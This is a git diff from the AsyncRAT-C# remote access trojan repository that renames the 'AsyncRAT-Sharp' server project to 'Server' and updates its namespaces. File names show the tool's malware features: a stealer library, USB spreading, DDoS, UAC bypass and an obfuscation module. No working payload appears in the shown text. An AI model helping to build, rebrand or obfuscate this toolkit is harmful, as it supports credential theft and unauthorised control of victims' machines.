+++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/PropertiesRenaming.cs
@@ -1,7 +1,7 @@
-using AsyncRAT_Sharp.RenamingObfuscation.Interfaces;
+using Server.RenamingObfuscation.Interfaces;
using dnlib.DotNet;
-namespace AsyncRAT_Sharp.RenamingObfuscation.Classes
+namespace Server.RenamingObfuscation.Classes
{
public class PropertiesRenaming : IRenaming
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/Utils.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/Utils.cs
similarity index 93%
rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/Utils.cs
rename to AsyncRAT-C#/Server/RenamingObfuscation/Classes/Utils.cs
index d91a27f..2703e25 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Classes/Utils.cs
+++ b/AsyncRAT-C#/Server/RenamingObfuscation/Classes/Utils.cs
@@ -3,7 +3,7 @@ using System.Collections.Generic;
using System.Security.Cryptography;
using System.Text;
-namespace AsyncRAT_Sharp.RenamingObfuscation.Classes
+namespace Server.RenamingObfuscation.Classes
{
public static class Utils
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/EncryptString.cs b/AsyncRAT-C#/Server/RenamingObfuscation/EncryptString.cs
similarity index 94%
rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/EncryptString.cs
rename to AsyncRAT-C#/Server/RenamingObfuscation/EncryptString.cs
index 3d68445..a4b865b 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/EncryptString.cs
+++ b/AsyncRAT-C#/Server/RenamingObfuscation/EncryptString.cs
@@ -1,5 +1,5 @@
-using AsyncRAT_Sharp.RenamingObfuscation.Classes;
-using AsyncRAT_Sharp.RenamingObfuscation.Interfaces;
+using Server.RenamingObfuscation.Classes;
+using Server.RenamingObfuscation.Interfaces;
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using System;
@@ -8,7 +8,7 @@ using System.Linq;
using System.Text;
using System.Threading.Tasks;
-namespace AsyncRAT_Sharp.RenamingObfuscation
+namespace Server.RenamingObfuscation
{
public static class EncryptString
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Interfaces/ICrypto.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Interfaces/ICrypto.cs
similarity index 78%
rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Interfaces/ICrypto.cs
rename to AsyncRAT-C#/Server/RenamingObfuscation/Interfaces/ICrypto.cs
index ca59525..09c4830 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Interfaces/ICrypto.cs
+++ b/AsyncRAT-C#/Server/RenamingObfuscation/Interfaces/ICrypto.cs
@@ -4,7 +4,7 @@ using System.Linq;
using System.Text;
using System.Threading.Tasks;
-namespace AsyncRAT_Sharp.RenamingObfuscation.Interfaces
+namespace Server.RenamingObfuscation.Interfaces
{
public interface ICrypto
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Interfaces/IRenaming.cs b/AsyncRAT-C#/Server/RenamingObfuscation/Interfaces/IRenaming.cs
similarity index 67%
rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Interfaces/IRenaming.cs
rename to AsyncRAT-C#/Server/RenamingObfuscation/Interfaces/IRenaming.cs
index d2312d7..55dd41b 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/Interfaces/IRenaming.cs
+++ b/AsyncRAT-C#/Server/RenamingObfuscation/Interfaces/IRenaming.cs
@@ -1,6 +1,6 @@
using dnlib.DotNet;
-namespace AsyncRAT_Sharp.RenamingObfuscation.Interfaces
+namespace Server.RenamingObfuscation.Interfaces
{
public interface IRenaming
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/ModuleDefMD.cs b/AsyncRAT-C#/Server/RenamingObfuscation/ModuleDefMD.cs
similarity index 85%
rename from AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/ModuleDefMD.cs
rename to AsyncRAT-C#/Server/RenamingObfuscation/ModuleDefMD.cs
index 01077a1..aceb197 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/RenamingObfuscation/ModuleDefMD.cs
+++ b/AsyncRAT-C#/Server/RenamingObfuscation/ModuleDefMD.cs
@@ -1,10 +1,10 @@
-using AsyncRAT_Sharp.RenamingObfuscation.Classes;
-using AsyncRAT_Sharp.RenamingObfuscation.Interfaces;
+using Server.RenamingObfuscation.Classes;
+using Server.RenamingObfuscation.Interfaces;
using dnlib.DotNet;
// Credit github.com/srn-g/RenamingObfuscation
// Fxied by nyan cat
-namespace AsyncRAT_Sharp.RenamingObfuscation
+namespace Server.RenamingObfuscation
{
public class Renaming
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config b/AsyncRAT-C#/Server/Resources/AsyncRAT-Sharp.exe.config
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/AsyncRAT-Sharp.exe.config
rename to AsyncRAT-C#/Server/Resources/AsyncRAT-Sharp.exe.config
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Costura.xml b/AsyncRAT-C#/Server/Resources/Costura.xml
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/Costura.xml
rename to AsyncRAT-C#/Server/Resources/Costura.xml
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/HandleLimeUSB.dll b/AsyncRAT-C#/Server/Resources/HandleLimeUSB.dll
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/HandleLimeUSB.dll
rename to AsyncRAT-C#/Server/Resources/HandleLimeUSB.dll
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/IconLib.dll b/AsyncRAT-C#/Server/Resources/IconLib.dll
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/IconLib.dll
rename to AsyncRAT-C#/Server/Resources/IconLib.dll
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Miscellaneous.png b/AsyncRAT-C#/Server/Resources/Miscellaneous.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/Miscellaneous.png
rename to AsyncRAT-C#/Server/Resources/Miscellaneous.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Plugin.dll b/AsyncRAT-C#/Server/Resources/Plugin.dll
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/Plugin.dll
rename to AsyncRAT-C#/Server/Resources/Plugin.dll
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/StealerLib.dll b/AsyncRAT-C#/Server/Resources/StealerLib.dll
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/StealerLib.dll
rename to AsyncRAT-C#/Server/Resources/StealerLib.dll
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/arrow_down.png b/AsyncRAT-C#/Server/Resources/arrow_down.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/arrow_down.png
rename to AsyncRAT-C#/Server/Resources/arrow_down.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/arrow_up.png b/AsyncRAT-C#/Server/Resources/arrow_up.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/arrow_up.png
rename to AsyncRAT-C#/Server/Resources/arrow_up.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/botkiller.png b/AsyncRAT-C#/Server/Resources/botkiller.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/botkiller.png
rename to AsyncRAT-C#/Server/Resources/botkiller.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/builder.png b/AsyncRAT-C#/Server/Resources/builder.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/builder.png
rename to AsyncRAT-C#/Server/Resources/builder.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/cGeoIp.dll b/AsyncRAT-C#/Server/Resources/cGeoIp.dll
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/cGeoIp.dll
rename to AsyncRAT-C#/Server/Resources/cGeoIp.dll
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/chat.png b/AsyncRAT-C#/Server/Resources/chat.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/chat.png
rename to AsyncRAT-C#/Server/Resources/chat.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/circle-loading-gif.gif b/AsyncRAT-C#/Server/Resources/circle-loading-gif.gif
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/circle-loading-gif.gif
rename to AsyncRAT-C#/Server/Resources/circle-loading-gif.gif
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/client.png b/AsyncRAT-C#/Server/Resources/client.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/client.png
rename to AsyncRAT-C#/Server/Resources/client.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/coding.png b/AsyncRAT-C#/Server/Resources/coding.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/coding.png
rename to AsyncRAT-C#/Server/Resources/coding.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/ddos.png b/AsyncRAT-C#/Server/Resources/ddos.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/ddos.png
rename to AsyncRAT-C#/Server/Resources/ddos.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/disabled.png b/AsyncRAT-C#/Server/Resources/disabled.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/disabled.png
rename to AsyncRAT-C#/Server/Resources/disabled.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/extra.png b/AsyncRAT-C#/Server/Resources/extra.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/extra.png
rename to AsyncRAT-C#/Server/Resources/extra.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/filemanager.png b/AsyncRAT-C#/Server/Resources/filemanager.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/filemanager.png
rename to AsyncRAT-C#/Server/Resources/filemanager.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/info.png b/AsyncRAT-C#/Server/Resources/info.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/info.png
rename to AsyncRAT-C#/Server/Resources/info.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/key.png b/AsyncRAT-C#/Server/Resources/key.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/key.png
rename to AsyncRAT-C#/Server/Resources/key.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/logger.png b/AsyncRAT-C#/Server/Resources/logger.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/logger.png
rename to AsyncRAT-C#/Server/Resources/logger.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/monitoring-system.png b/AsyncRAT-C#/Server/Resources/monitoring-system.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/monitoring-system.png
rename to AsyncRAT-C#/Server/Resources/monitoring-system.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/mouse.png b/AsyncRAT-C#/Server/Resources/mouse.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/mouse.png
rename to AsyncRAT-C#/Server/Resources/mouse.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/mouse_enable.png b/AsyncRAT-C#/Server/Resources/mouse_enable.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/mouse_enable.png
rename to AsyncRAT-C#/Server/Resources/mouse_enable.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/msgbox.png b/AsyncRAT-C#/Server/Resources/msgbox.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/msgbox.png
rename to AsyncRAT-C#/Server/Resources/msgbox.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/pc.png b/AsyncRAT-C#/Server/Resources/pc.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/pc.png
rename to AsyncRAT-C#/Server/Resources/pc.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/play-button.png b/AsyncRAT-C#/Server/Resources/play-button.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/play-button.png
rename to AsyncRAT-C#/Server/Resources/play-button.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/process.png b/AsyncRAT-C#/Server/Resources/process.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/process.png
rename to AsyncRAT-C#/Server/Resources/process.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/remotedesktop.png b/AsyncRAT-C#/Server/Resources/remotedesktop.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/remotedesktop.png
rename to AsyncRAT-C#/Server/Resources/remotedesktop.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/report.png b/AsyncRAT-C#/Server/Resources/report.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/report.png
rename to AsyncRAT-C#/Server/Resources/report.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/save-image.png b/AsyncRAT-C#/Server/Resources/save-image.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/save-image.png
rename to AsyncRAT-C#/Server/Resources/save-image.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/save-image2.png b/AsyncRAT-C#/Server/Resources/save-image2.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/save-image2.png
rename to AsyncRAT-C#/Server/Resources/save-image2.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/settings.png b/AsyncRAT-C#/Server/Resources/settings.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/settings.png
rename to AsyncRAT-C#/Server/Resources/settings.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/shell.png b/AsyncRAT-C#/Server/Resources/shell.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/shell.png
rename to AsyncRAT-C#/Server/Resources/shell.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/stop (1).png b/AsyncRAT-C#/Server/Resources/stop (1).png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/stop (1).png
rename to AsyncRAT-C#/Server/Resources/stop (1).png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/system.png b/AsyncRAT-C#/Server/Resources/system.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/system.png
rename to AsyncRAT-C#/Server/Resources/system.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/tomem.png b/AsyncRAT-C#/Server/Resources/tomem.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/tomem.png
rename to AsyncRAT-C#/Server/Resources/tomem.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/tomem1.png b/AsyncRAT-C#/Server/Resources/tomem1.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/tomem1.png
rename to AsyncRAT-C#/Server/Resources/tomem1.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/u-torrent-logo.png b/AsyncRAT-C#/Server/Resources/u-torrent-logo.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/u-torrent-logo.png
rename to AsyncRAT-C#/Server/Resources/u-torrent-logo.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/uac.png b/AsyncRAT-C#/Server/Resources/uac.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/uac.png
rename to AsyncRAT-C#/Server/Resources/uac.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/usb.png b/AsyncRAT-C#/Server/Resources/usb.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/usb.png
rename to AsyncRAT-C#/Server/Resources/usb.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/visit.png b/AsyncRAT-C#/Server/Resources/visit.png
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Resources/visit.png
rename to AsyncRAT-C#/Server/Resources/visit.png
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/Server/Server.csproj
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj
rename to AsyncRAT-C#/Server/Server.csproj
index b92d1f3..5769b45 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj
+++ b/AsyncRAT-C#/Server/Server.csproj
@@ -6,7 +6,7 @@
AnyCPU
{7767C300-5FD5-4A5D-9D4C-59559CCE48A3}
WinExe
- AsyncRAT_Sharp
+ Server
AsyncRAT-Sharp
v4.6
512
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/Server/Settings.cs
similarity index 89%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
rename to AsyncRAT-C#/Server/Settings.cs
index 90fbdbc..d197bdd 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
+++ b/AsyncRAT-C#/Server/Settings.cs
@@ -1,11 +1,11 @@
-using AsyncRAT_Sharp.Cryptography;
-using AsyncRAT_Sharp.Sockets;
+using Server.Cryptography;
+using Server.Sockets;
using System.Collections.Generic;
using System.IO;
using System.Security.Cryptography.X509Certificates;
using System.Windows.Forms;
-namespace AsyncRAT_Sharp
+namespace Server
{
public static class Settings
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/Server/Socket/Clients.cs
similarity index 98%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
rename to AsyncRAT-C#/Server/Socket/Clients.cs
index c02e156..91ea227 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
+++ b/AsyncRAT-C#/Server/Socket/Clients.cs
@@ -2,18 +2,18 @@
using System.IO;
using System.Net.Sockets;
using System.Windows.Forms;
-using AsyncRAT_Sharp.Handle_Packet;
+using Server.Handle_Packet;
using System.Security.Cryptography;
using System.Drawing;
using System.Diagnostics;
using System.Threading;
-using AsyncRAT_Sharp.MessagePack;
+using Server.MessagePack;
using System.Text;
using System.Net.Security;
using System.Security.Authentication;
using System.Threading.Tasks;
-namespace AsyncRAT_Sharp.Sockets
+namespace Server.Sockets
{
public class Clients
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/Server/Socket/Listener.cs
similarity index 94%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs
rename to AsyncRAT-C#/Server/Socket/Listener.cs
index ad13e7e..235ddfb 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs
+++ b/AsyncRAT-C#/Server/Socket/Listener.cs
@@ -3,10 +3,10 @@ using System.Net.Sockets;
using System;
using System.Windows.Forms;
using System.Drawing;
-using AsyncRAT_Sharp.Handle_Packet;
+using Server.Handle_Packet;
using System.Diagnostics;
-namespace AsyncRAT_Sharp.Sockets
+namespace Server.Sockets
{
class Listener
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Enums.cs b/AsyncRAT-C#/Server/StreamLibrary/Enums.cs
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/Enums.cs
rename to AsyncRAT-C#/Server/StreamLibrary/Enums.cs
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IUnsafeCodec.cs b/AsyncRAT-C#/Server/StreamLibrary/IUnsafeCodec.cs
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IUnsafeCodec.cs
rename to AsyncRAT-C#/Server/StreamLibrary/IUnsafeCodec.cs
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IVideoCodec.cs b/AsyncRAT-C#/Server/StreamLibrary/IVideoCodec.cs
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/IVideoCodec.cs
rename to AsyncRAT-C#/Server/StreamLibrary/IVideoCodec.cs
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs b/AsyncRAT-C#/Server/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs
rename to AsyncRAT-C#/Server/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/JpgCompression.cs b/AsyncRAT-C#/Server/StreamLibrary/src/JpgCompression.cs
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/JpgCompression.cs
rename to AsyncRAT-C#/Server/StreamLibrary/src/JpgCompression.cs
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/LzwCompression.cs b/AsyncRAT-C#/Server/StreamLibrary/src/LzwCompression.cs
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/LzwCompression.cs
rename to AsyncRAT-C#/Server/StreamLibrary/src/LzwCompression.cs
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/NativeMethods.cs b/AsyncRAT-C#/Server/StreamLibrary/src/NativeMethods.cs
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/StreamLibrary/src/NativeMethods.cs
rename to AsyncRAT-C#/Server/StreamLibrary/src/NativeMethods.cs
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/app.manifest b/AsyncRAT-C#/Server/app.manifest
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/app.manifest
rename to AsyncRAT-C#/Server/app.manifest
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/async_icon.ico b/AsyncRAT-C#/Server/async_icon.ico
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/async_icon.ico
rename to AsyncRAT-C#/Server/async_icon.ico
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/packages.config b/AsyncRAT-C#/Server/packages.config
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/packages.config
rename to AsyncRAT-C#/Server/packages.config